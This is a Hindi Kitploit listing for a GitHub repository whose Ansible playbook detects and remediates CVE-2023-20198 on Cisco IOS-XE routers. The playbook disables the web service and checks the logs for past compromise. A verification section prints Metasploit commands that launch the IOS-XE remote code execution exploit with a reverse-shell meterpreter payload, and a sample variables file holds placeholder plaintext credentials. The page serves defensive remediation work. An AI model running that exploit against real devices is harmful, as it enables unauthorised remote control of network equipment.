Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-20198-Fix — उन स्थितियों की जाँच करें और उन्हें ठीक करें जो किसी IOS-XE डिवाइस को CVE-2023-20198 के प्रति संवेदनशील बनाती हैं। | Kitploit
उपकरण/GitHubGitHub/netbell/cve-2023-20198-fix
भेद्यता स्कैनरशोषणकॉन्फ़िगरेशन ऑडिटिंगनेटवर्क सुरक्षाDevSecOpsघटना प्रतिक्रिया
GitHubnetbell/cve-2023-20198-fix

CVE-2023-20198-Fix

उन स्थितियों की जाँच करें और उन्हें ठीक करें जो किसी IOS-XE डिवाइस को CVE-2023-20198 के प्रति संवेदनशील बनाती हैं।

रिपॉजिटरी देखें
42 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-20198-Fix

इस रिपॉज़िटरी में कुछ Cisco डिवाइसों में पाए गए CVE-2023-20198 भेद्यता को सुधारने के लिए एक Ansible प्लेबुक शामिल है।

यह निम्नलिखित कार्य करती है:

  1. जाँच करती है कि राउटर पर वेब सेवा चल रही है या नहीं, रनिंग कॉन्फ़िगरेशन में संबंधित कमांडों की जाँच करके
  2. चल रही होने पर वेब सेवा को अक्षम कर देती है
  3. बदलाव होने पर कॉन्फ़िगरेशन को सहेज लेती है
  4. पिछले शोषण के संकेतों के लिए लॉग की जाँच करती है

निर्देशिका संरचना:

root@kitploit:~
CVE-2023-20198-Fix/
│
├── ansible.cfg            # Ansible configuration file
├── group_vars/            # Directory for variables specific to groups of hosts
│   └── iosxe_devices.yml  # Variable definitions for IOS-XE devices
├── inventory.yml          # Inventory of hosts, including devices to target
└── remediate.yml          # Playbook for remediating CVE-2023-20198

आरंभ करना

पूर्वापेक्षाएँ

सुनिश्चित करें कि आपके नियंत्रण मशीन पर Ansible स्थापित है। यह प्लेबुक Ansible 2.9 या उससे नए संस्करण के लिए लिखी गई है।

सेटअप

Ansible कॉन्फ़िगर करें: अपनी पर्यावरण सेटिंग्स से मेल खाने के लिए ansible.cfg को संपादित करें।

इन्वेंटरी:

अपने IOS-XE डिवाइसों की होस्ट जानकारी के साथ inventory.yml को अपडेट करें।

चर:

group_vars/iosxe_devices.yml में कोई भी आवश्यक चर परिभाषित करें। इसमें आपके IOS-XE डिवाइसों के लिए सामान्य सेटिंग्स, जैसे कनेक्शन सेटिंग्स और क्रेडेंशियल्स शामिल होने चाहिए।

इन्वेंटरी में होस्ट जोड़ना

इन्वेंटरी में एक नया IOS-XE डिवाइस जोड़ने के लिए, inventory.yml फ़ाइल को संपादित करें और नए होस्ट को उपयुक्त समूह के अंतर्गत जोड़ें:

root@kitploit:~
iosxe_devices:
  hosts:
    vulnerable_router01:
      ansible_host: 192.168.1.3
      # ... other necessary variables

new_router01 को अपने डिवाइस के होस्टनाम से और ansible_* वेरिएबल्स को अपने डिवाइस के वास्तविक मानों से बदलें।

समूह चर अपडेट करना

यदि आपको IOS-XE डिवाइसों के समूह के लिए क्रेडेंशियल्स या अन्य सेटिंग्स अपडेट करने की आवश्यकता है, तो group_vars/iosxe_devices.yml फ़ाइल को संपादित करें:

root@kitploit:~
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password            # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password     # Lab use only, store credentials responsibly!
# ... other variables

प्लेबुक चलाना

प्लेबुक को निष्पादित करने के लिए, निम्न कमांड का उपयोग करें:

root@kitploit:~
ansible-playbook remediate.yml -i inventory.yml

Metasploit सत्यापन

MSF6 कमांड्स

root@kitploit:~
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242     # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit

सुधार-पूर्व जाँच

पहले

प्लेबुक चलाना

रन

सुधार-पश्चात जाँच

पहले

परीक्षण

उत्पादन में प्लेबुक चलाने से पहले हमेशा अपने परिवर्तनों का परीक्षण नियंत्रित वातावरण में करें।

सुरक्षा

पासवर्ड और गुप्त कुंजियों जैसे संवेदनशील डेटा को Ansible Vault का उपयोग करके संग्रहीत करें। अपनी इन्वेंटरी या group_vars फ़ाइलों में सादे पाठ वाले क्रेडेंशियल्स को संग्रहीत न करें।

अतिरिक्त सुरक्षा उपायों और सर्वोत्तम प्रथाओं के लिए, Ansible का आधिकारिक दस्तावेज़ देखें।

कृपया सभी प्लेसहोल्डर मानों को अपने पर्यावरण के अनुरूप वास्तविक डेटा से बदलें। यह README Ansible अवधारणाओं जैसे इन्वेंटरी, चर और प्लेबुक चलाने की बुनियादी जानकारी मानता है।

टूल डाउनलोड करें